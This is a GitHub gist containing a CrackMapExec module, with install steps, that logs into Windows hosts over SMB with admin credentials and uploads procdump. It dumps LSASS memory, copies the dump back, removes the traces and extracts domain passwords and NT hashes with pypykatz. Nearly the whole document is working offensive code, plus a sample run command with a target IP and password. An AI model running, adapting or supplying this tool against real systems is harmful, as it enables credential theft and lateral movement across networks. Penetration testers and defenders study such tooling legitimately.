- install pypykatz
pip install pypykatz
outisde your pipenv - Add this file to
cme/module/procdump.py
- compile
python setup.py install
- run
cme smb 172.16.60.152 -u Administrator -p P@ssword -M procdump
Last active
December 6, 2019 17:50
-
-
Save mpgn/414335dc8a91c39fabcbeb693641e57a to your computer and use it in GitHub Desktop.
Procdump CME module that dump LSASS process and extract the result with pypykatz
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# prdocdump module for CME python2 | |
# author: github.com/mpgn | |
# thanks to pixis (@HackAndDo) for making it pretty l33t :) | |
# v0.4 | |
from StringIO import StringIO | |
import os | |
import sys | |
import re | |
import time | |
class CMEModule: | |
name = 'procdump' | |
description = "Get lsass dump using procdump64 and parse the result with pypykatz" | |
supported_protocols = ['smb'] | |
opsec_safe = True # not really | |
multiple_hosts = True | |
def options(self, context, module_options): | |
''' | |
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) | |
PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/shared/) | |
PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump64.exe) | |
''' | |
self.tmp_dir = "C:\\Windows\\Temp\\" | |
self.share = "C$" | |
self.tmp_share = self.tmp_dir.split(":")[1] | |
self.procdump = "procdump64.exe" | |
self.procdump_path = "/tmp/shared/" | |
if 'PROCDUMP_PATH' in module_options: | |
self.procdump_path = module_options['PROCDUMP_PATH'] | |
if 'PROCDUMP_EXE_NAME' in module_options: | |
self.procdump = module_options['PROCDUMP_EXE_NAME'] | |
if 'TMP_DIR' in module_options: | |
self.tmp_dir = module_options['TMP_DIR'] | |
def on_admin_login(self, context, connection): | |
context.log.info('Copy {} to {}'.format(self.procdump_path + self.procdump, self.tmp_dir)) | |
with open(self.procdump_path + self.procdump, 'rb') as procdump: | |
try: | |
connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read) | |
context.log.success('Created file {} on the \\\\{}{}'.format(self.procdump, self.share, self.tmp_share)) | |
except Exception as e: | |
context.log.error('Error writing file to share {}: {}'.format(share, e)) | |
command = self.tmp_dir + self.procdump + ' -accepteula -ma lsass.exe ' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp' | |
context.log.info('Executing command {}'.format(command)) | |
p = connection.execute(command, True) | |
context.log.debug(p) | |
dump = False | |
if 'Dump 1 complete' in p: | |
context.log.success('Process lsass.exe was successfully dumped') | |
dump = True | |
else: | |
context.log.error('Process lsass.exe error un dump, try with verbose') | |
if dump: | |
regex = r"([A-Za-z0-9-]*.dmp)" | |
matches = re.search(regex, str(p), re.MULTILINE) | |
machine_name = '' | |
if matches: | |
machine_name = matches.group() | |
else: | |
context.log.info("Error getting the lsass.dmp file name") | |
sys.exit(1) | |
context.log.info('Copy {} to host'.format(machine_name)) | |
with open(self.procdump_path + machine_name, 'w+') as dump_file: | |
try: | |
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write) | |
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.procdump_path + machine_name)) | |
except Exception as e: | |
context.log.error('Error while get file: {}'.format(e)) | |
try: | |
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) | |
context.log.success('Deleted procdump file on the {} share'.format(self.share)) | |
except Exception as e: | |
context.log.error('Error deleting procdump file on share {}: {}'.format(self.share, e)) | |
try: | |
connection.conn.deleteFile(self.share, self.tmp_share + machine_name) | |
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share)) | |
except Exception as e: | |
context.log.error('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e)) | |
context.log.info("pypykatz lsa minidump {} > {}.txt".format(self.procdump_path + machine_name, self.procdump_path + machine_name)) | |
try: | |
context.log.info('Invoke pypykatz in order to extract the credentials ...') | |
os.system("pypykatz lsa minidump " + self.procdump_path + machine_name + " > " + self.procdump_path + machine_name + ".txt") | |
context.log.info("Extracted credentials:") | |
with open(self.procdump_path + machine_name + ".txt", 'r') as outfile: | |
data = outfile.read() | |
regex = r"(?:username:? (?!NA)(?P<username>.+[^\$])\n.*domain(?:name)?:? (?P<domain>.+)\n)(?:.*password:? (?!None)(?P<password>.+)|.*\n.*NT: (?P<hash>.*))" | |
matches = re.finditer(regex, data, re.MULTILINE | re.IGNORECASE) | |
for match in matches: | |
domain = match.group("domain") | |
username = match.group("username") | |
password = match.group("password") or match.group("hash") | |
context.log.success(highlight(domain + "\\" + username + ":" + password)) | |
except Exception as e: | |
context.log.error('Error while execute pypykatz: {}'.format(e)) | |
context.log.error('Please make sure pypykatz is installed (pip3 install pypykatz)') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment